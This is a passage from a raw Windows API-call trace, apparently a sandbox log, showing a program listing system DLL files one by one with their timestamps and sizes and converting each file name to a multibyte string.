ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb67a8ae8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb67cec49, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa2800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AuxiliaryDisplayCpl.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUXILIARYDISPLAYCPL.DLL", cchWideChar=23, lpMultiByteStr=0x3ec288, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUXILIARYDISPLAYCPL.DLL", lpUsedDefaultChar=0x0) returned 23 [0026.608] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8898fb50, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8898fb50, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80c1ce90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="avicap32.dll", cAlternateFileName="")) returned 1 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVICAP32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVICAP32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b15f501, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b15f501, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b185661, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="avifil32.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVIFIL32.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVIFIL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb761c16, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xb761c16, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x80d75260, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="avrt.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AVRT.DLL", cchWideChar=8, lpMultiByteStr=0x3ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AVRT.DLL", lpUsedDefaultChar=0x0) returned 8 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849c970b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849c970b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849ef86b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xba400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="azroles.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLES.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLES.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ba1c5fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ba1c5fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ba4275a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4cc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="azroleui.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZROLEUI.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZROLEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849a35ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x849a35ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x849c970b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="AzSqlExt.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.609] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x3ec120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0026.609] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x3ec288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x3ec288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.610] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x3ec288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x3ec120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x3ec288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0026.611] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, 